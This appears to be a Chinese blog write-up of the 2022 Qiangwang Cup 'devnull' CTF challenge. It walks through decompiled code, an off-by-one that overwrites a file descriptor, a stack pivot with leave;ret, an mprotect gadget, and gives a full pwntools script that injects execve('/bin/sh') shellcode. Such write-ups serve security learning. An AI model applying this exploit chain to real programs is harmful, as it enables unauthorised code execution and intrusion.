• [2022 强网杯] devnull 复现


    话说移栈这个事很少见了,因为大家都熟了。今天这个看似没难度,但突然发现机子上的libc-2.31比要求的libc-2.34小,然后这个程序就不能运行了。实际上这个题本身跟版本没以任何关系,感觉就是卡那些系统没有升级的人。比赛当中没什么人改去更新libc

    完事以后把libc更新到2.35然后这个程序就能运行了。

    1. int sub_40138F()
    2. {
    3. char s[32]; // [rsp+0h] [rbp-40h] BYREF
    4. int fd; // [rsp+20h] [rbp-20h]
    5. int v3; // [rsp+24h] [rbp-1Ch] BYREF
    6. void *buf; // [rsp+38h] [rbp-8h]
    7. puts_0("/deb/null may cause some error\n");
    8. stream = fopen("/dev/null", "rb");
    9. fd = dword_404028; // 3
    10. if ( !stream )
    11. {
    12. puts_0("error\n");
    13. exit(1);
    14. }
    15. buf = malloc(dword_404010);
    16. puts_0("please input your filename\n");
    17. fgets(s, n, stdin); // n=21 写溢出,将fd改为0
    18. puts_0("Please write the data you want to discard\n");
    19. if ( read(fd, &v3, dword_404014) ) // 2c 14+buf+rbp+ret 修改buf指和bss,修改rbp指向buf+8,修改ret为leave ret移栈
    20. {
    21. sub_4012B6(); // bss设置成只读
    22. puts_0("please input your new data\n");
    23. if ( !read(fd, buf, dword_404010) ) // 0x60 向buf里写入rop
    24. exit(1);
    25. puts_0("Thanks\n"); // 输入7个字符,此时rdx=7
    26. return close(1); // 调用 write(2,got['write'],8) 泄漏,重入后
    27. }
    28. else
    29. {
    30. puts_0("no junk data?\n");
    31. puts_0("please input your new data\n");
    32. read(0, buf, dword_404010);
    33. return sub_4012E0(s, buf);
    34. }
    35. }

    程序很短,也很明了,一开始fgets(s,n,stdin); 其实s定义的是0x20,但这里n=0x21所以当输入一个长为0x20的串时会在最后加一个\0,这样就把后边的fd给覆盖掉了,原本程序是从随机数读的语句就变成从标准输入读

    第二步是向v3读入,并且这里也有溢出,通过这个溢出可以将数据写到后边的buf,rbp,ret 长度刚刚好(再少4字节也能转),所以在这里覆盖buf改为要写入的位置,rbp覆盖为移栈的位置,ret覆盖为leave;ret实现移栈。

    这里还有个问题,一般移栈会移到bss但这个题会把bss设置为只语。但却把程序加载起始位置设置为读写。那么移栈就只能移到这里了 0x3fe000

    另外一个卡点是会文没有pop rdi;ret所有的rdi都是通过rax填充,那么就需要找个能填充rax的值,这里是这句

    0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret

    移栈以后rbp指向的内容都是咱自己写的,所以可以在这里构造出rdi的效果

    1. rbp->bss0+0x28
    2. mov rax,[rbp-0x18];leave;ret 再次移栈将读入bss0+0x28到rax中
    3. rdi要放入的值 bss0
    4. 0x10字节没用
    5. 第二次移栈的位置,rbp没用填0
    6. 第二次的ret的值,在这里执行_mprotect去掉rax的部分(前边已经放入),这里会执行mov rdi,rax将想要放入的值传到rdi然后执行mportect(放入的rdi,rsi=x1000, rdx=7)
      1. 这里执行了一次puts_0('Thinks\n')函数,在函数里把串长度赋给了rdx所以这里rdx为7正好执行
    7. 再下一个的rbp没用,后边ret是个指针跳到后边的shellcode
    8. 在这里写shellcode

    完整的程序

    1. from pwn import *
    2. p = process('./pwn')
    3. elf = ELF('./pwn')
    4. context(arch='amd64', log_level= 'debug')
    5. #gdb.attach(p, "b*0x40150b")
    6. #pause()
    7. p.sendafter(b"please input your filename\n", b'A'*0x20) # A\0 => fd = 0
    8. bss0 = 0x3fe000
    9. leave_ret = 0x401511
    10. pay = b'A'*0x14 + flat(bss0,bss0, leave_ret) #buf,rbp,ret
    11. p.sendafter(b"Please write the data you want to discard\n", pay)
    12. rbp_18 = 0x0000000000401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret
    13. mprotect = 0x4012d0 #: mov esi,0x1000;mov rdi,rax;call _mprotect; ret
    14. pay = flat(bss0+0x28, rbp_18, bss0,b'/bin/sh\x00',0, 0, mprotect, 0,bss0+0x48) + asm(shellcraft.execve(bss0+0x18,0,0))
    15. p.sendafter(b"please input your new data\n", pay)
    16. sleep(1)
    17. p.sendline(b"exec 1>&2")
    18. p.interactive()

  • 相关阅读:
    PID控制算法
    Java设计模式-抽象工厂模式
    深度学习系列60: 大模型文本理解和生成概述
    Seata分布式事务实现原理
    代码随想录算法训练营二十四期第十七天|LeetCode110. 平衡二叉树、LeetCode257. 二叉树的所有路径、LeetCode404. 左叶子之和
    mac OS 源码安装 nginx
    【CSS3】
    四、PL/SQL程序控制语句
    亚马逊、wish、temu如何掌握自养号测评技术?
    查看tensorflow是否支持GPU,以及测试程序
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/126175472